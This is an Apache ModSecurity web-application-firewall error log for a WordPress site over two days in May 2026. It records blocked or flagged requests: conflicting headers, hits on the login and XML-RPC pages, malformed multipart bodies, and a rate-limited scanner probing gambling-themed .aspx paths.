[Wed May 20 18:48:10.485823 2026] [:error] [pid 7731:tid 7740] [client 49.51.33.159:45344] [client 49.51.33.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag2Ran9qQlHXbkl2nEvqNwAAAYc"]
[Wed May 20 19:52:04.990151 2026] [:error] [pid 7664:tid 7681] [client 122.176.30.63:46634] [client 122.176.30.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 122.176.30.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag2gZHZ8s7o3eiqT2kv6aQAAAU4"], referer: https://gigfragments.org/wp-login.php
[Wed May 20 19:52:11.145233 2026] [:error] [pid 7731:tid 7736] [client 49.249.78.178:50448] [client 49.249.78.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.249.78.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag2gan9qQlHXbkl2nEsDGgAAAYM"], referer: https://gigfragments.org/wp-login.php
[Wed May 20 20:14:03.232012 2026] [:error] [pid 7664:tid 7683] [client 195.178.110.105:1212] [client 195.178.110.105] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag2linZ8s7o3eiqT2kv-rwAAAVA"]
[Wed May 20 20:14:03.232137 2026] [:error] [pid 7664:tid 7683] [client 195.178.110.105:1212] [client 195.178.110.105] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag2linZ8s7o3eiqT2kv-rwAAAVA"]
[Wed May 20 20:29:45.535568 2026] [:error] [pid 44059:tid 44083] [client 1.14.110.85:35578] [client 1.14.110.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag2pORfFs-oSOOcyjywhEwAAARY"]
[Wed May 20 21:13:25.617499 2026] [:error] [pid 41364:tid 41386] [client 152.59.181.182:53235] [client 152.59.181.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.181.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2zdRKTmyvxtNXrN-jdSwAAAJQ"]
[Wed May 20 21:13:36.974973 2026] [:error] [pid 7731:tid 7748] [client 152.59.181.182:53680] [client 152.59.181.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.181.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2zgH9qQlHXbkl2nEsfyAAAAY8"]
[Wed May 20 21:13:46.111754 2026] [:error] [pid 41364:tid 41376] [client 152.59.181.182:53953] [client 152.59.181.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.181.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2zihKTmyvxtNXrN-jdZQAAAIo"]
[Wed May 20 21:13:56.246216 2026] [:error] [pid 41278:tid 41327] [client 152.59.181.182:54272] [client 152.59.181.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.181.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2zlPWiNKASEfiGdwa7dwAAAFI"]
[Wed May 20 21:14:06.684443 2026] [:error] [pid 44059:tid 44074] [client 152.59.181.182:54612] [client 152.59.181.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.181.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag2znhfFs-oSOOcyjywsIQAAAQ0"]
[Wed May 20 21:47:33.312916 2026] [:error] [pid 7664:tid 7670] [client 43.157.148.38:37994] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag27dXZ8s7o3eiqT2ksNngAAAUM"]
[Wed May 20 21:56:46.579558 2026] [:error] [pid 41364:tid 41367] [client 103.182.221.224:9302] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag29nhKTmyvxtNXrN-jm5wAAAIE"]
[Wed May 20 21:57:06.925447 2026] [:error] [pid 41279:tid 41349] [client 103.182.221.224:9145] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag29srEFyfaehGZbt4ykqwAAAM0"]
[Wed May 20 21:57:17.660891 2026] [:error] [pid 41278:tid 41322] [client 103.182.221.224:9516] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag29vfWiNKASEfiGdwbATwAAAE0"]
[Wed May 20 21:57:28.305433 2026] [:error] [pid 41364:tid 41367] [client 103.182.221.224:9427] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag29yBKTmyvxtNXrN-jnKwAAAIE"]
[Wed May 20 21:57:38.996949 2026] [:error] [pid 7731:tid 7746] [client 103.182.221.224:9534] [client 103.182.221.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.182.221.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag290n9qQlHXbkl2nEsuCQAAAY0"]
[Wed May 20 22:31:43.449635 2026] [:error] [pid 41279:tid 41338] [client 43.153.205.132:37660] [client 43.153.205.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag3Fz7EFyfaehGZbt4ypCAAAAMI"]
[Thu May 21 01:29:58.998667 2026] [:error] [pid 7731:tid 7744] [client 101.42.46.71:54442] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag3vln9qQlHXbkl2nEtibwAAAYs"]
[Thu May 21 01:43:03.282220 2026] [:error] [pid 41364:tid 41381] [client 43.135.172.89:53006] [client 43.135.172.89] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ag3ypxKTmyvxtNXrN-gu8AAAAI8"]
[Thu May 21 02:26:32.837383 2026] [:error] [pid 7731:tid 7733] [client 103.141.5.130:28949] [client 103.141.5.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag382H9qQlHXbkl2nEtuSwAAAYA"]
[Thu May 21 02:26:42.603687 2026] [:error] [pid 7731:tid 7738] [client 103.141.5.130:54632] [client 103.141.5.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag384n9qQlHXbkl2nEtuUwAAAYU"]
[Thu May 21 02:26:53.522622 2026] [:error] [pid 41364:tid 41381] [client 103.141.5.130:29957] [client 103.141.5.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag387RKTmyvxtNXrN-g7LgAAAI8"]
[Thu May 21 02:27:02.113133 2026] [:error] [pid 44059:tid 44071] [client 103.141.5.130:30335] [client 103.141.5.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag389hfFs-oSOOcyjyxlXgAAAQo"]
[Thu May 21 02:27:11.886596 2026] [:error] [pid 7731:tid 7752] [client 103.141.5.130:55806] [client 103.141.5.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.141.5.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag38_39qQlHXbkl2nEtubQAAAZM"]
[Thu May 21 02:40:43.334856 2026] [:error] [pid 41279:tid 41340] [client 43.164.1.211:40480] [client 43.164.1.211] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ag4AK7EFyfaehGZbt4zI0wAAAMQ"]
[Thu May 21 05:33:29.269519 2026] [:error] [pid 49884:tid 49960] [client 160.119.76.58:37288] [client 160.119.76.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.119.76.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ag4oqa5MPpsTNNHWS6io9QAAAI0"]
[Thu May 21 05:33:31.688694 2026] [:error] [pid 49879:tid 49933] [client 160.119.76.58:40002] [client 160.119.76.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.119.76.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag4oq4VqYDjFSyG2gFoFBgAAAE0"]
[Thu May 21 05:33:34.055532 2026] [:error] [pid 49879:tid 49927] [client 160.119.76.58:40016] [client 160.119.76.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.119.76.58, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ag4oroVqYDjFSyG2gFoFEgAAAEc"], referer: https://gigfragments.org/wp-login.php?action=register
[Thu May 21 06:02:44.397825 2026] [:error] [pid 49982:tid 49997] [client 147.135.214.166:40700] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ag4vhGFwIDa5Tf8O4bYebwAAAM0"]
[Thu May 21 06:02:46.358471 2026] [:error] [pid 49884:tid 49968] [client 147.135.214.166:33500] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ag4vhq5MPpsTNNHWS6iygAAAAJU"]
[Thu May 21 06:02:48.356944 2026] [:error] [pid 49879:tid 49927] [client 147.135.214.166:33504] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ag4viIVqYDjFSyG2gFoMBwAAAEc"]
[Thu May 21 06:02:50.392056 2026] [:error] [pid 49884:tid 49961] [client 147.135.214.166:33516] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ag4viq5MPpsTNNHWS6iyiAAAAI4"]
[Thu May 21 06:02:52.403760 2026] [:error] [pid 49884:tid 49958] [client 147.135.214.166:33518] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ag4vjK5MPpsTNNHWS6iyjQAAAIs"]
[Thu May 21 06:02:54.419048 2026] [:error] [pid 49982:tid 50000] [client 147.135.214.166:33532] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ag4vjmFwIDa5Tf8O4bYeewAAANA"]
[Thu May 21 06:02:56.287022 2026] [:error] [pid 51613:tid 51635] [client 147.135.214.166:45898] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ag4vkGbP0MDvqrVnweqDuwAAARQ"]
[Thu May 21 06:02:58.295313 2026] [:error] [pid 49982:tid 49994] [client 147.135.214.166:45904] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ag4vkmFwIDa5Tf8O4bYefgAAAMo"]
[Thu May 21 06:03:00.159104 2026] [:error] [pid 49982:tid 49992] [client 147.135.214.166:45912] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ag4vlGFwIDa5Tf8O4bYegAAAAMg"]
[Thu May 21 06:03:02.040516 2026] [:error] [pid 49982:tid 49998] [client 147.135.214.166:45920] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ag4vlmFwIDa5Tf8O4bYehwAAAM4"]
[Thu May 21 06:03:04.032923 2026] [:error] [pid 49982:tid 49988] [client 147.135.214.166:45928] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ag4vmGFwIDa5Tf8O4bYeiwAAAMQ"]
[Thu May 21 06:03:06.035400 2026] [:error] [pid 49884:tid 49961] [client 147.135.214.166:49212] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ag4vmq5MPpsTNNHWS6iynAAAAI4"]
[Thu May 21 06:03:08.046177 2026] [:error] [pid 51613:tid 51636] [client 147.135.214.166:49214] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ag4vnGbP0MDvqrVnweqDzAAAARU"]
[Thu May 21 06:03:10.055676 2026] [:error] [pid 49884:tid 49952] [client 147.135.214.166:49216] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ag4vnq5MPpsTNNHWS6iyngAAAIU"]
[Thu May 21 06:03:12.087937 2026] [:error] [pid 49982:tid 50003] [client 147.135.214.166:49230] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ag4voGFwIDa5Tf8O4bYejwAAANM"]
[Thu May 21 06:03:13.951731 2026] [:error] [pid 49884:tid 49970] [client 147.135.214.166:49246] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ag4voa5MPpsTNNHWS6iyogAAAJc"]
[Thu May 21 06:03:15.976513 2026] [:error] [pid 49982:tid 49999] [client 147.135.214.166:49640] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ag4vo2FwIDa5Tf8O4bYelwAAAM8"]
[Thu May 21 06:03:17.978538 2026] [:error] [pid 49884:tid 49952] [client 147.135.214.166:49648] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ag4vpa5MPpsTNNHWS6iyrAAAAIU"]
[Thu May 21 06:03:19.861741 2026] [:error] [pid 49884:tid 49971] [client 147.135.214.166:49650] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ag4vp65MPpsTNNHWS6iysQAAAJg"]
[Thu May 21 06:03:21.854086 2026] [:error] [pid 51613:tid 51635] [client 147.135.214.166:49658] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ag4vqWbP0MDvqrVnweqD3wAAARQ"]
[Thu May 21 06:03:23.811488 2026] [:error] [pid 49877:tid 49892] [client 147.135.214.166:49674] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ag4vqxgN4MeSe4kIL9D2sgAAAAQ"]
[Thu May 21 06:03:25.707012 2026] [:error] [pid 49884:tid 49966] [client 147.135.214.166:54230] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ag4vra5MPpsTNNHWS6iyuwAAAJM"]
[Thu May 21 06:03:27.712953 2026] [:error] [pid 49884:tid 49970] [client 147.135.214.166:54238] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ag4vr65MPpsTNNHWS6iyvwAAAJc"]
[Thu May 21 06:03:29.611714 2026] [:error] [pid 49884:tid 49949] [client 147.135.214.166:54250] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ag4vsa5MPpsTNNHWS6iywQAAAII"]
